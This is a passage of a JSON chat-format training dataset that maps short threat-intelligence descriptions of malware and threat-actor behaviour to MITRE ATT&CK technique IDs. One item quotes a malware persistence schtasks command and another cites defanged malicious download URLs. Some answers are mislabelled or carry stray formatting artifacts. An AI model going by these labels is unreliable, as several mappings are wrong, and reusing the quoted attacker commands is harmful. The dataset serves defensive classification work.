                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GrimAgent can use an AES key to encrypt C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Endpoint Protection . Patchwork cyberespionage group expands targets from governments to wide range of industries . The Patchwork attack group has been targeting more than just government-associated organizations. Symantec Security Response has been actively monitoring Patchwork, also known as Dropping Elephant, which uses Chinese-themed content as bait to compromise its targets’ networks. A customized website with content related to the Chinese military . The malicious sites link to files hosted on different domains, which appear to be solely used for malicious purposes. The PowerPoint files appear to exploit the Microsoft Windows OLE Package Manager Remote Code Execution Vulnerability (CVE-2014-4114), which was used in the Sandworm attacks against American and European targets in October 2014. The rich text files typically attempt to exploit the Microsoft Office Memory Corruption Vulnerability (CVE-2015-1641), which was patched in April 2015. Users should manually remove any potential dropped files which would typically be named “sysvolinfo.exe”. Malicious Word .doc file Besides the .pps file, the threat actor uses rich text files to deliver the malware. While other researchers have reported that these files exploit CVE-2012-0158, Symantec has also observed CVE-2015-1641 being exploited to drop Backdoor.Steladok. As two file types are used to deliver two different payloads, there are likely multiple individuals or groups contributing to the malware development efforts. Mitigation Users should adhere to the following advice to prevent Patchwork’s attacks from succeeding: - Delete any suspicious-looking emails you receive, especially if they contain links or attachments. Spear-phishing emails are frequently used by cyberespionage attackers as a means of luring victims into opening malicious files"
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "performs thread execution hijacking to inject its orchestrator into a running thread from a remote process.  performs a separate injection of its communication module into an Internet accessible process through which it performs C2."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro can block the Deibold Warsaw GAS Tecnologia security tool at the firewall level."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 moved laterally via RDP."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "leveraged PowerShell to download and execute additional scripts for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "More information about the OwaAuth web shell is available in Appendix C"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti Linux variant’s core functionality is within ‘libxselinux’. Upon execution, an embedded configuration is decoded from the data section using a simple XOR cipher. An example Python function to decode this configuration is shown below"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Small Sieve has the ability to add itself to `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\OutlookMicrosift` for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sibot will delete an associated registry key if a certain server response is received."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dacls can collect data on running and parent processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remcos uses the infected hosts as SOCKS5 proxies to allow for tunneling and proxying."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete sends stolen data to the C2 server every 10 minutes."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For newer operating systems, events.exe creates task.xml as follows:  Then it creates a Windows scheduled task using the following command:       schtasks.exe /create /TN \\\"Events\\\\CacheTask_<user_name_here>\" /XML \\\"<event_cache_dir_path>t /F\"     At the system registry level, modules achieve persistence by adding themselves into the key: HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit when it finds possible add values to the Winlogon subkey, and in HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Microsoft Activity Manager"
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FunnyDream can use `rundll32` for execution of its components."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The download process is the same with the previous variant, the loader resolves the command and control server IP address using a hardcoded list of DNS servers and then downloads the corresponding file. An interesting addition, in the latest samples, is the use of an alternative command and control server IP address, in case the primary one fails. The alternative IP address is generated by applying a bitwise XOR operation to each byte of the resolved command and control IP address with the byte 0xFE. In addition, as a possible anti-behaviour method, the loader verifies that the command and control server IP address is not ‘127.0.0.1’. Both of these methods are also present in the latest Team9 backdoor variants"
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WINEKEY maintains persistence through reboot via the use of registry RUN keys. Searching for anomalous RUN keys enterprise-wide can help to identify systems impacted by this malware"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This campaign is different from prior activity because a new dropper was observed being used by Rocke that is written in Go (Golang) instead of Python. The detection for the malware on VirusTotal (VT) is nearly non-existent. Figure 1, below, shows the detections for the most recent sample submitted to VT. It can be seen that only one engine successfully detected it as malicious"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CreepyDrive can use cloud services including OneDrive for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For all non-removable drives on a victim,  executes automated collection of certain files for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to discover services running on a system."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects its process identifier (PID) on the victim."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PHOTO: a DLL backdoor also reported publicly as “Derusbi”, capable of obtaining directory, file, and drive listing; creating a reverse shell; performing screen captures; recording video and audio; listing, terminating, and creating processes; enumerating, starting, and deleting registry keys and values; logging keystrokes, returning usernames and passwords from protected storage; and renaming, deleting, copying, moving, reading, and writing to files"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUGARUSH has checked for internet connectivity from an infected host before attempting to establish a new TCP connection."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackTech has used DLL side loading by giving DLLs hardcoded names and placing them in searched directories."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses port 46769 for C2."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "achieves persistence by creating a shortcut in the current user's Startup folder."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BackConfig can download and run batch files to execute commands on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Upon execution, Pay2Key is reading the Server and Port keys from the configuration file. If a configuration file was not found in the current working directory and wasn’t supplied in the command line arguments, the ransomware will write “no config file found” to a file at .\\Cobalt-Client-log.txt. This log file will be used extensively by the ransomware during its execution. Newer versions of the ransomware are making sure to remove this log file from the disk. The full list of supported log messages can be found in the appendix section of this article"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM can add a certificate to the Windows store."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses SSL to encrypt its communication with its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can open a command-line interface."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RemoteUtilities can take screenshots on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Night Dragon, threat actors used company extranet servers as secondary C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dipsind can spawn remote shells."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After using raw sockets to communicate with its C2 server,  uses a decrypted string to create HTTP POST requests."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used a Word Template, Normal.dotm, for persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros."
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee has gained execution through luring users into opening malicious attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DCSrv has masqueraded its service as a legitimate svchost.exe process."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation CuckooBees, the threat actors used the `net start` command as part of their initial reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Frankenstein, the threat actors used WMI queries to determine if analysis tools were running on a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Skidmap has the ability to check if \"/usr/sbin/setenforce\" exists. This file controls what mode SELinux is in."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "drops a Word file containing a Base64-encoded file in it that is read, decoded, and dropped to the disk by the macro."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GeminiDuke collects information on network settings and Internet proxy settings from the victim."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has acquired C2 domains, sometimes through resellers."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ryuk can remotely create a scheduled task to execute itself on a system."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Researchers also observed that the backdoor downloads and executes the Cobalt Strike pentesting and post-exploitation toolkit on the victim's machine within some period of time after the infection. By deploying Cobalt Strike, it is clear that this stealthy backdoor is being used to gain a foothold in corporate networks so that ransomware can be deployed, data can be stolen, or network access could be sold to other threat actors"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "performs local network connection discovery using netstat."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An analysis of these files found that they all leveraged a remote template injection technique that allows the documents to pull down the malicious code once they are opened. This allows the attacker to have control over what content is sent back to the victim in an otherwise benign document. Recent examples of the remote template “dot” file URLs these documents use include the following"
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork leveraged the DDE protocol to deliver their malware."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "checks for sandboxing libraries and debugging tools."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Additional mitigations that could help to prevent attacks like these from succeeding in your environment include:  Changing the default handler for “.hta” files in your environment so that they cannot be directly executed.hta” files in your environment so that they cannot be directly executed"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KARAE can use public cloud-based storage providers for command and control."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Gamaredon Group file stealer has the capability to steal data from newly connected logical volumes on a system, including USB drives."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While Cobalt Gang 1.0 uses ThreadKit extensively, Cobalt 2.0 adds sophistication to its delivery method, borrowing some of the network infrastructures used by both APT28 (aka Fancy Bear) and MuddyWater. One of the Cobalt 2.0 Group’s latest campaigns, an attack that leads to a Cobalt Strike beacon and to JavaScript backdoor, was investigated and presented by the Talos research team. Cobalt Group Technical Details . Stage 1 - Word Macro + Whitelisting Bypass . As with many other campaigns, the victim received a document with malicious macro visual basic code. In our case the attacker abused cmstp to execute JavaScript scriptlet (XML with JS) that is downloaded from the e-dropbox[.]biz site. Although some security solutions will block all PureBasic programs (wrong move – there are plenty of legitimate PureBasic programs in use today), it’s a smart move made by the attacker group. The right side of the pair is the name of the JavaScript in the next stage (stage 4) , while the left side of the pair represents the file that will be downloaded as part of stage 5. Such a combination of registry manipulation was reported a year ago as part of an attack campaign executed by the Cobalt Group against Ukrainian banks. As part of the last execution step of the dll, the malicious code writes a JavaScript scriptlet into the Roaming directory and then it executes CreateProcess on the regsvr32 as described by the UserInitMprLogonScript. Stage 5 - JavaScript Backdoor . The last stage JavaScript is downloaded from hxxps://server.vestacp[.]kz/robots.txt. Organizations should expect to see much more coming from all Cobalt Group factions during the next year"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The first spear phish from group “Admin@338” was sent to a foreign government in the Asian Pacific region on March 10, 2014 – just two days after the flight disappeared. The threat actors sent a spear-phishing email with an attachment titled, “Malaysian Airlines MH370.doc” (MD5: 9c43a26fe4538a373b7f5921055ddeae). Although threat actors often include some sort of “decoy content” upon successful exploitation (that is, a document representing what the recipient expected to open), in this case, the user is simply shown a blank document."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment', 'T1203 - Exploitation for Client Execution', 'T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of downloading files, including additional modules."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoshC2 can use protocols like HTTP/HTTPS for command and control traffic."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has used encoded PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera's malware has altered the NTLM authentication program on domain controllers to allow Chimera to login without a valid credential."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EVILNUM has used the Windows Management Instrumentation (WMI) tool to enumerate infected machines."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WhisperGate has the ability to enumerate fixed logical drives on a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The first link was labeled as \"Comparison of Major Tasks in '16 & '17\" and the second link was identified as \"Comparison between '16 & '17\".Upon opening these links the user was presented with a further decoy Hangul document"
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kevin can Base32 encode chunks of output files during exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some Reaver variants use raw TCP for C2."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "adds an entry to the rc.common file for persistence."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: Rc.common"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "leverages a custom packer to obfuscate its functionality."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Proxysvc registers itself as a service on the victim’s machine to run as a standalone process."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
